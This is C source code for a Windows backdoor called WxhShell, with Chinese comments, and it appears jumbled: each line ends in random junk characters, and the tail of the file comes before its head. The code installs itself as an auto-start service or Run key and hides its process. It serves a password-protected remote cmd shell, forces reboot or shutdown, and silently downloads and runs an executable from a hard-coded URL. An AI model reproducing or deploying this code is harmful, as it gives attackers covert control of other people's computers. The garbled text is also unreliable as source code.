    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %P1zb7:8  
    if(Boot(SHUTDOWN)) f 5bX,e)!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QE"$Lc)  
    else { z5({A2q  
    closesocket(wsh); hoBFC1  
    ExitThread(0); l+6@,TY1U  
    } 4J,6cOuW4  
    break; Mfz(%F|<  
    } mQ}\ptdfV  
  // 获取shell Eyf17  
  case 's': { b?0WA.[{  
    CmdShell(wsh); J6EzD\.Y)  
    closesocket(wsh); hU(  
    ExitThread(0); \I i# R  
    break; $#e}9g.  
  } (421$w,B%  
  // 退出 ?~.9: 93  
  case 'x': { E l.eK9L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dk]  
    CloseIt(wsh); (:~_#BA  
    break; N%:uOX8{  
    } 7.NL>:lu  
  // 离开 JYjc^m  
  case 'q': { H4v%$R;K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `4@` G:6BL  
    closesocket(wsh); :, H_ e! X  
    WSACleanup(); .Sw4{m[g  
    exit(1); </<z7V,{  
    break; n@@tO#!\  
        } NY?iuWa*g  
  } /Tl ybSC1  
  } )N{PWSPs  
8z=o.\@  
  // 提示信息 "e\73?P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O+XQP!T  
} oKSW:A  
  } $(J)F-DB i  
AS0(NlV  
  return; _kOuD}_|  
} i-0AcN./p  
|'i ?o  
// shell模块句柄 ~:!& }e5  
int CmdShell(SOCKET sock) tMf5TiWu@  
{ K'e!BZm6Q  
STARTUPINFO si; "[A&S!  
ZeroMemory(&si,sizeof(si)); [uie]*^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Np9Pae'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _mdJIa0D6k  
PROCESS_INFORMATION ProcessInfo; jkuNafp}  
char cmdline[]="cmd"; )tV]h#4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !Y^$rF-+  
  return 0; &e[Lb:Uk)  
} hhjsg?4uL  
*X|%H-Q:H`  
// 自身启动模式 Jz;`L3m  
int StartFromService(void) uTbMp~cYB  
{ ~U?vB((j!  
typedef struct &n6 |L8  
{ u_WW uo  
  DWORD ExitStatus; NFIFCy!  
  DWORD PebBaseAddress; }?{. 'Hv0  
  DWORD AffinityMask; T^ xp2cZ  
  DWORD BasePriority; H'EBe;ccM  
  ULONG UniqueProcessId; =8r,-3lC;  
  ULONG InheritedFromUniqueProcessId; OZ Obx  
}   PROCESS_BASIC_INFORMATION; mn<ea&  
*LmzGF|  
PROCNTQSIP NtQueryInformationProcess; U_B`SS  
A^c5CJ_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ; zy;M5l5.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mOjl0n[To]  
i3Nt?FSN  
  HANDLE             hProcess; +xmZK<{<  
  PROCESS_BASIC_INFORMATION pbi; Git2Cet  
gAi}"} ;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r:^`005  
  if(NULL == hInst ) return 0; lgAE`Os  
Ke&fTK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \v9<L'NP)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e8]mdU{)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HZ2zL17  
KRcg  
  if (!NtQueryInformationProcess) return 0; f;ycQc@f  
T?5F0WKi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `+r5I5  
  if(!hProcess) return 0; ',RR*{I  
+n`^W(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yFP#z5G  
.Qj`_q6=  
  CloseHandle(hProcess); 0Zl1(;hx@  
VHws9)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]Otl(\v(h  
if(hProcess==NULL) return 0; \=~<I  
gwF@'Uu  
HMODULE hMod; !lB,2_  
char procName[255]; 9=~jKl%\vJ  
unsigned long cbNeeded; )=D9L  
Ipmr@%~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ==j3 9  
~RE`@/wQ]  
  CloseHandle(hProcess); Y.Ew;\6U  
8%U)EU  
if(strstr(procName,"services")) return 1; // 以服务启动 t,P +~ A  
|y=D^NTG  
  return 0; // 注册表启动 #$fFp  
} *m]%eU(  
Z=sAR(n}~  
// 主模块 {k~$\J?.  
int StartWxhshell(LPSTR lpCmdLine) 17qrBG-/MD  
{ ck<4_?1]  
  SOCKET wsl; K<_H`k*x  
BOOL val=TRUE; <$9AP  
  int port=0; q+G1#5  
  struct sockaddr_in door; vqxTf)ys  
n#]G!7  
  if(wscfg.ws_autoins) Install(); `0 F"zu  
%BHq2~J  
port=atoi(lpCmdLine); h; unbz  
p-/x Md  
if(port<=0) port=wscfg.ws_port; pV-.r-P  
q C|re!K  
  WSADATA data; $S cjEG:6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d ly 08 74  
&k{@:z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;[ zx'e?!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h/w- &7t  
  door.sin_family = AF_INET; 42Ffx?Qmv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hQ8{ A7  
  door.sin_port = htons(port); >\p}UPx  
KJkcmF}Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @',;/j80  
closesocket(wsl); da^9Fb  
return 1; < ?nr"V  
} /iQ>he~fy  
yq,5M1vR  
  if(listen(wsl,2) == INVALID_SOCKET) { SO&;]YO  
closesocket(wsl); EX5kF  
return 1; ?%0i,p@<  
} Q Y fS-  
  Wxhshell(wsl); !c`1~a!  
  WSACleanup(); jKQP0 t-  
XF$C)id2p  
return 0; nW%c95E  
BPOWo8TqD^  
} &]c9}Ic  
dCyQCA[  
// 以NT服务方式启动 ! O>mu6:Rf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Tuy*Df  
{ 5astv:p,P  
DWORD   status = 0; |3cR'|<Ual  
  DWORD   specificError = 0xfffffff; )T+htD)  
J\0YL\jw1K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !%(B2J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^b.J z}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \5l}5<|  
  serviceStatus.dwWin32ExitCode     = 0; TPzoU" qh  
  serviceStatus.dwServiceSpecificExitCode = 0; /kq~*s  
  serviceStatus.dwCheckPoint       = 0; }R'oAE}$  
  serviceStatus.dwWaitHint       = 0; ixkg,  
0nd<6S+fs  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MLb\:Ihy  
  if (hServiceStatusHandle==0) return; G j:|  
u@3w$"Pv1  
status = GetLastError(); [)=FZF6kG  
  if (status!=NO_ERROR) x"d*[m  
{ j)5Vv K\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i xyjl[G  
    serviceStatus.dwCheckPoint       = 0; Q&LkST-i  
    serviceStatus.dwWaitHint       = 0; Ek BM>*W  
    serviceStatus.dwWin32ExitCode     = status; mnia>; 0H  
    serviceStatus.dwServiceSpecificExitCode = specificError; J{ Vl2P?@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z~gqTB]H  
    return; Mf63 59  
  } tpctz~ .  
oAx0$]+%V)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WQ]pg "  
  serviceStatus.dwCheckPoint       = 0; ] ge-b\  
  serviceStatus.dwWaitHint       = 0; N!3f1d7RQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \3/9lE|gh  
} Pg36'aTe%j  
/P%:u0fX,  
// 处理NT服务事件,比如:启动、停止 >JMKEHl.q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S'e2~-p0F  
{ I|:j~EY  
switch(fdwControl) aU!UY(  
{ G~Sfpf  
case SERVICE_CONTROL_STOP: re*/JkDq3K  
  serviceStatus.dwWin32ExitCode = 0; ;D7jE+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A!~o?ej  
  serviceStatus.dwCheckPoint   = 0; ^pP 14y*go  
  serviceStatus.dwWaitHint     = 0; @wPmx*SF  
  { zkOgL9 (_8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 73.b9mF  
  } \4[Ta,;t  
  return; tQ67XAb  
case SERVICE_CONTROL_PAUSE: {mQJ6 G'ny  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; pf_ /jR  
  break; 2 ^aTW`>L  
case SERVICE_CONTROL_CONTINUE: >seB["C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !ZZAI_N  
  break; SOL=3hfb^  
case SERVICE_CONTROL_INTERROGATE: >vU Hf`4T  
  break; 1DP)6{x  
}; yN.D(ZwF:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G dU W$.  
} ,L;vN6~  
;<A/e  
// 标准应用程序主函数 5dk,!Cjg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZJ(!jc$"*%  
{ aBnbu vp  
ccSSa u5N  
// 获取操作系统版本 $\ '\@3o  
OsIsNt=GetOsVer(); G;;~xfE'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 96avgyc  
:6+~"7T  
  // 从命令行安装 u"jnEKN0y  
  if(strpbrk(lpCmdLine,"iI")) Install(); LayU)TIt  
/ ["T#`  
  // 下载执行文件 ^d*>P|n*@e  
if(wscfg.ws_downexe) { M)7enp) F.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Mm!saKT%  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8E+l; 2  
} jlBCu(.,_  
3@L%#]xwi  
if(!OsIsNt) { Cs{f'I  
// 如果时win9x,隐藏进程并且设置为注册表启动 (Nahtx!/9  
HideProc(); hd;I x%tq>  
StartWxhshell(lpCmdLine); rzHa&:Y  
} $5r,Q{;$  
else O@rb4(  
  if(StartFromService()) pg)g&ifKl  
  // 以服务方式启动 !*gAGt_  
  StartServiceCtrlDispatcher(DispatchTable); >``GDjcJ  
else ,GIqRT4K  
  // 普通方式启动 |Y11sDa9h  
  StartWxhshell(lpCmdLine); ]r6bJ 2  
vNbA/sM  
return 0; ~~,<+X:  
} >lmL  
_O%p{t'q<  
DG=Ap:sl*$  
]o$/xP  
=========================================== rUjr'O0  
Pa +BE[z  
D$E9%'ir  
`t&;Yk]-L  
z%tu6_4j  
S+Yg!RrNqj  
" tqCg<NH.!m  
[@Y q^.6t  
#include <stdio.h> C6~dN& q  
#include <string.h> /p0LtUMu  
#include <windows.h> I:<R@V<~#  
#include <winsock2.h> m=B0!Z1xx  
#include <winsvc.h> !++62Lf  
#include <urlmon.h> 8zWPb  
FOi`TZ8  
#pragma comment (lib, "Ws2_32.lib") ~*[4DQ[\  
#pragma comment (lib, "urlmon.lib") 5FI>T=QF  
1,'^BgI,  
#define MAX_USER   100 // 最大客户端连接数 c&-$?f r  
#define BUF_SOCK   200 // sock buffer {2r7:nvR  
#define KEY_BUFF   255 // 输入 buffer x~^I/$  
|81N/]EER  
#define REBOOT     0   // 重启 D:tZiS=0  
#define SHUTDOWN   1   // 关机 ycD.:w p\'  
YCO:bBmp:  
#define DEF_PORT   5000 // 监听端口 W2qQKv  
%)Dd{|c  
#define REG_LEN     16   // 注册表键长度 QL18MbfqP  
#define SVC_LEN     80   // NT服务名长度 )fc"])&8  
yW?%c#9D  
// 从dll定义API bU`yymf{L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |9]K:A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Tpx,41(k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 98'XSL|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #/<Y!qV&  
4 GW[GT  
// wxhshell配置信息 g}QTZT8  
struct WSCFG { I>Fh*2  
  int ws_port;         // 监听端口 4ZpF1Zc4B  
  char ws_passstr[REG_LEN]; // 口令 5O ;^Mk|  
  int ws_autoins;       // 安装标记, 1=yes 0=no z %E!tB2o  
  char ws_regname[REG_LEN]; // 注册表键名 C&N4<2b  
  char ws_svcname[REG_LEN]; // 服务名 s,H(m8#>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {NgY8w QB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \3?;[xD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gEHfsR=D6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ArzsZ<\//  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d ovwB`5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^l&4UnLlc  
XYF~Q9~  
}; VQMd[/  
|o=ST  
// default Wxhshell configuration 6F/ OlK<  
struct WSCFG wscfg={DEF_PORT, jYID44$  
    "xuhuanlingzhe", yc=#Jn?S  
    1, q<[ke   
    "Wxhshell", <SdJM1%Qo  
    "Wxhshell", .eB"la|d  
            "WxhShell Service", {eN{Zh5"  
    "Wrsky Windows CmdShell Service", FKnQwX.0  
    "Please Input Your Password: ", VQjFEJ  
  1, 1";e'? ^x  
  "http://www.wrsky.com/wxhshell.exe", SliQwm5  
  "Wxhshell.exe" )Q/`o,Vm  
    }; EiP&Y,vT  
(A fbS=[  
// 消息定义模块 JO{- P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X]U"ru{1q  
char *msg_ws_prompt="\n\r? for help\n\r#>";  b(-t)5^}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }.V0SM6  
char *msg_ws_ext="\n\rExit."; >@"3Q`  
char *msg_ws_end="\n\rQuit."; [3sxzU!t~  
char *msg_ws_boot="\n\rReboot..."; T xxB0  
char *msg_ws_poff="\n\rShutdown..."; nk$V{(FJ  
char *msg_ws_down="\n\rSave to "; 0*/ r'  
!_H8Q}a  
char *msg_ws_err="\n\rErr!"; ss@}Dt^  
char *msg_ws_ok="\n\rOK!"; He-Ja  
UJ)M:~O  
char ExeFile[MAX_PATH]; um2s^G  
int nUser = 0; C"Q=(3  
HANDLE handles[MAX_USER]; AnE_<sPA  
int OsIsNt; @3TkD_B&  
=)1YYJTe9  
SERVICE_STATUS       serviceStatus; jsi#l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;4v}0N~.  
P9mxY*K)%5  
// 函数声明 5J\|gZQF  
int Install(void);  [Ro0eH  
int Uninstall(void); /Q>{YsRRB  
int DownloadFile(char *sURL, SOCKET wsh); 3/IWO4?_  
int Boot(int flag); ],}afa!A  
void HideProc(void); wt=>{JM  
int GetOsVer(void); E(3+o\w  
int Wxhshell(SOCKET wsl); &G|jzXE  
void TalkWithClient(void *cs); 6O@ ^`T  
int CmdShell(SOCKET sock); m#'rI=}!  
int StartFromService(void); Q1I_=fT  
int StartWxhshell(LPSTR lpCmdLine); *5_ 8\7d  
HZ<f(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~muIi#4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g6/N\[b%  
vWi. []  
// 数据结构和表定义 Q @OC=  
SERVICE_TABLE_ENTRY DispatchTable[] = vV\F^  
{ -,fa{yt-  
{wscfg.ws_svcname, NTServiceMain}, 5az 4NT  
{NULL, NULL} . (*kgv@3x  
}; H^PqYLj N  
dMs39j  
// 自我安装 {F6dSF`  
int Install(void) :n>ccZeMv  
{ ;ko[(eFN@  
  char svExeFile[MAX_PATH]; MLD>"W  
  HKEY key; "kBqY+:Cn  
  strcpy(svExeFile,ExeFile); _QMHPRELk  
_?]BVw  
// 如果是win9x系统,修改注册表设为自启动 fByh";<`P  
if(!OsIsNt) { fov=Yd!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +x9"#0|k;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q#ZD&RZ9.  
  RegCloseKey(key); yK%GsCJd:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a[74%L?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H,XLb.  
  RegCloseKey(key); q'Pz3/mk  
  return 0; ^'u;e(AaE  
    } t3#H@0<  
  } F2PLy q  
} HLoQ}oK|K  
else { l@Eq|y,  
|CZnq-,C  
// 如果是NT以上系统,安装为系统服务 Oz#EGjz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 78a-3){  
if (schSCManager!=0) Vyt~OTI\  
{ +/!=Ub[:U  
  SC_HANDLE schService = CreateService A{8K#@!  
  ( VkTlPmr  
  schSCManager, DYT -#Ht  
  wscfg.ws_svcname, aa0`y  
  wscfg.ws_svcdisp, iy.%kHC  
  SERVICE_ALL_ACCESS, @ Zgl>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ULNAH`{D  
  SERVICE_AUTO_START, DNW2;i<hsz  
  SERVICE_ERROR_NORMAL, Ub'%pU  
  svExeFile, ^`jZKh8)h  
  NULL, C>:/(O  
  NULL, T$8@2[  
  NULL, csdOIF  
  NULL, u $% D9Z^  
  NULL g",wkO|  
  ); s*)41\V0  
  if (schService!=0) xf^<ec  
  { )p!*c,  
  CloseServiceHandle(schService); a:-)+sgHw  
  CloseServiceHandle(schSCManager); aZawBU.:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yA?ENAM  
  strcat(svExeFile,wscfg.ws_svcname); e\A(#l@g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2 %{YYT   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GIRSoRVsh  
  RegCloseKey(key); `z?KL(rI  
  return 0; =,AC%S_D~  
    } iO9nvM<  
  } hLyTUt~\L  
  CloseServiceHandle(schSCManager); WBw M;S#%  
} I| W'n-4Y  
} =~\]3g  
Xb<DpBrk  
return 1; I NPYJ#%  
} ^)hAVf~E  
}#ep}h  
// 自我卸载 #j^('K|  
int Uninstall(void) >9.5-5"   
{ `s>UU- 9  
  HKEY key; 4{*tn"y  
|ilv|UV  
if(!OsIsNt) { L8bI0a]r"*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ] ;pf  
  RegDeleteValue(key,wscfg.ws_regname); Y(hW(bd;  
  RegCloseKey(key); $*AC>i\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ol$2sI=.s  
  RegDeleteValue(key,wscfg.ws_regname); >&<<8Ln  
  RegCloseKey(key); p |\%:#  
  return 0; {*?sVAvj  
  } @q> ktE_  
} V\@jC\-5Vt  
} N ;Z`%&  
else { Ue{vg$5||  
2/yXY_L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e$Xq    
if (schSCManager!=0) C5PmLiOHY>  
{ 4-7kS85  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |RR%bQ^{  
  if (schService!=0) fjIcB+Z  
  { _e?q4>B)c  
  if(DeleteService(schService)!=0) { ]DC;+;8Jc  
  CloseServiceHandle(schService); \);.0  
  CloseServiceHandle(schSCManager); Ic[}V0dk  
  return 0; 49+ >f  
  } p{ @CoOn  
  CloseServiceHandle(schService); mVv\bl?<  
  } XMN?;Hj>  
  CloseServiceHandle(schSCManager); 6o=qJ`m[?  
} xH_A@hf;  
} Lh8bQH  
Z0 [)u_<  
return 1; )%iRZ\`f  
} F>~ xzc  
<`R|a *  
// 从指定url下载文件 \!+-4,CbZY  
int DownloadFile(char *sURL, SOCKET wsh) -ajM5S=d*  
{ IPl@ DH  
  HRESULT hr;  SwdC,  
char seps[]= "/"; 6X@mPj[/  
char *token; 10C 2=  
char *file; ;YK!EMM4!h  
char myURL[MAX_PATH]; Aautih@LX  
char myFILE[MAX_PATH]; Q'Jv} 'eK_  
Ni2]6U  
strcpy(myURL,sURL); 9 z5"y|$  
  token=strtok(myURL,seps); ,c4c@|Bh?  
  while(token!=NULL) `6a]|7|f  
  { lpl8h4d  
    file=token; v!NB~"LQ  
  token=strtok(NULL,seps); xn(+G$m  
  } b!i`o%Vb  
e#>tM  
GetCurrentDirectory(MAX_PATH,myFILE); T*h!d(  
strcat(myFILE, "\\"); cI*KRC U  
strcat(myFILE, file); )Vwj9WD  
  send(wsh,myFILE,strlen(myFILE),0); S5i+vUI8C  
send(wsh,"...",3,0); n K+lE0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %&^Q(f  
  if(hr==S_OK) R<f#r03@|  
return 0; 1&"-*)  
else %ZujCZn  
return 1; OSp?okV  
9pWi.J  
} #F_'}?09%  
Dn~Z SrJ  
// 系统电源模块  f>.4-a?  
int Boot(int flag) `WH[DQ  
{ F\>oxttS1  
  HANDLE hToken; oi7 3YOB  
  TOKEN_PRIVILEGES tkp; K!3{M!B   
Y)$52m5rM  
  if(OsIsNt) { blJIto '  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); MV%Xhfk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )-=2w-ZX  
    tkp.PrivilegeCount = 1; mJ)tHv"7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TE3*ktB{N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }qer   
if(flag==REBOOT) { rmOQ{2}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h^}_YaT\  
  return 0; BjM+0[HC  
} }o-|8P:Y  
else { `vudS?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N<9w{zIK(  
  return 0; "Dyym<J  
} @ru<4`h  
  } |2z}Xm5\  
  else { jvu N  
if(flag==REBOOT) { xN6>2e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wD`[5~C{  
  return 0; M]c7D`%s  
} YzVN2f!n  
else { "37*A<+f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +H7y/#e+3  
  return 0; *5 e<\{!  
} "X`RQ6~]>  
} BsKbn@'uC  
9oEpPL5  
return 1; |Eb&}m:E$  
} xJ-*%'(KZ  
~%`EeJwT  
// win9x进程隐藏模块 |VK:2p^ u  
void HideProc(void) .N5'.3  
{ S#k{e72 *  
AWO0NWTB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PC|'yAN:  
  if ( hKernel != NULL ) C5Xof|#p|  
  { 't7Z] G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qk&gA}qF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sH%&+4!3  
    FreeLibrary(hKernel); s}wO7Df=+  
  } #zxd;;p3  
rsWQHHkO  
return; ) ]73S@P(=  
} iAK/d)bq  
^]VcxKUJ  
// 获取操作系统版本 m$?.Yig?  
int GetOsVer(void) B~?c3:6  
{ !}ilN 1>  
  OSVERSIONINFO winfo; {gsW(T>)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QO2Ut!Y  
  GetVersionEx(&winfo); D ZVXz|g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3Y`>6A=  
  return 1; K5{{:NR$  
  else QP:9%f>=  
  return 0; .:8[wI_f  
} pw=F' Y@N  
hcyn  
// 客户端句柄模块 }wfI4?}j}  
int Wxhshell(SOCKET wsl) ^p,3)$  
{ }t\ 10nQ  
  SOCKET wsh; ?~,JY  
  struct sockaddr_in client; gwiR/(1  
  DWORD myID; ?;^5ghY$  
(k8Z=/N~  
  while(nUser<MAX_USER) /_q#a h  
{ bo1I&I  
  int nSize=sizeof(client); .3@Ng  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); to'j2jP  
  if(wsh==INVALID_SOCKET) return 1; ,ijW(95{k  
)A"jVQjI%w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JA<~xo[Q9  
if(handles[nUser]==0) gKWzFnW  
  closesocket(wsh); uN9e:;  
else ailG./I+  
  nUser++; KSc~GP _  
  } j{)~QD?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jB!W2~Z  
Y''6NGf  
  return 0; eQ<xp A  
} OF8WDo`  
12lEs3  
// 关闭 socket 4:U0f;Fs  
void CloseIt(SOCKET wsh) i j/o;_  
{ Aq"PG}Ic  
closesocket(wsh); yX'IZk#_L  
nUser--; KaW~ERx5  
ExitThread(0); i:d`{kJ|[  
} ,Aj }]h\L  
wu2:'y>n  
// 客户端请求句柄 #EG?9T  
void TalkWithClient(void *cs) E_3r[1l  
{ /'4Q{8.a  
WNa3^K/W{  
  SOCKET wsh=(SOCKET)cs; j;iL&eo>  
  char pwd[SVC_LEN]; UfKkgq#  
  char cmd[KEY_BUFF]; =&2$/YX0D  
char chr[1]; :CTL)ad2  
int i,j; MtUY?O.P2  
n+?-�  
  while (nUser < MAX_USER) { c|lU(Tf  
#W|!fILL  
if(wscfg.ws_passstr) { IBET'!j4"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ufP Cx|x~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >)^N J2Fd  
  //ZeroMemory(pwd,KEY_BUFF); < Y>3  
      i=0; ,eXFN?CB  
  while(i<SVC_LEN) { W`x)=y]Z  
1~@|e Wr|  
  // 设置超时 )~}PgbZ^  
  fd_set FdRead; >rw"Rd'  
  struct timeval TimeOut; nLJBq)i  
  FD_ZERO(&FdRead); ~C| ,b"  
  FD_SET(wsh,&FdRead); p+[} Hxx=  
  TimeOut.tv_sec=8; E eB3 }  
  TimeOut.tv_usec=0; *S4aF*Qk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TKOP;[1h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <tuS,.  
Dx3%K S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JNBT^=x  
  pwd=chr[0]; R hio7C  
  if(chr[0]==0xd || chr[0]==0xa) { ~^7r?<aKc  
  pwd=0; [4>r6Hqxr  
  break; &XQZs`41+  
  } ltSh'w0  
  i++; S?4KC^Y5  
    } io2@}xZF  
oy5+ }`  
  // 如果是非法用户,关闭 socket L/x(RCD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L\L"mc|O  
} 7|Dn+ =  
lw[<STpD;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ([KN*OF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f`|G]da-3o  
fY_%33_I$  
while(1) { TwFb%YM  
hnzNP\$U]  
  ZeroMemory(cmd,KEY_BUFF); c~+l-GIWm  
"w&/m}E,[  
      // 自动支持客户端 telnet标准   B< hEx@  
  j=0; gxmc|  
  while(j<KEY_BUFF) { oZ:{@ =  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =}R~0|^  
  cmd[j]=chr[0]; W:O0}   
  if(chr[0]==0xa || chr[0]==0xd) { \_VmY!I5\  
  cmd[j]=0; .zS D`v@[  
  break; nxQ}&n  
  } s$GF 95^  
  j++; ET-Vm >]  
    } _- %d9@x  
M|r8KW~S)  
  // 下载文件 sRq U]i8l  
  if(strstr(cmd,"http://")) { Pp*}R2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~@P)tl>  
  if(DownloadFile(cmd,wsh)) j=ihbR^]Tl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1[DS'S  
  else 0S.?E.-&0  
